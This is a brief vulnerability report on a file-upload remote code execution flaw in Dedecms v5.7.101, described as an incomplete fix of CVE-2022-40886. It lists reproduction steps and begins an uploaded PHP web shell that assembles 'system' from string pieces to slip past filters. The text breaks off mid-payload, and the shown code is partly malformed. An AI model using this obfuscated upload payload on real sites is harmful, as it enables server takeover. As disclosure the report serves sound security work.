Dedecms-v57101-RCE Vulnerability Description Since CVE-2022-40886 is not fully fixed, Dedecms still has a file upload vulnerability, leading to RCE Vulnerability to reproduce Log in to the backend of the website Upload the file hhhphp, the content of the file is as follows: <?php $x='sys';$xx='tem';$xxx=$x$xx;$y='di';$yy='r'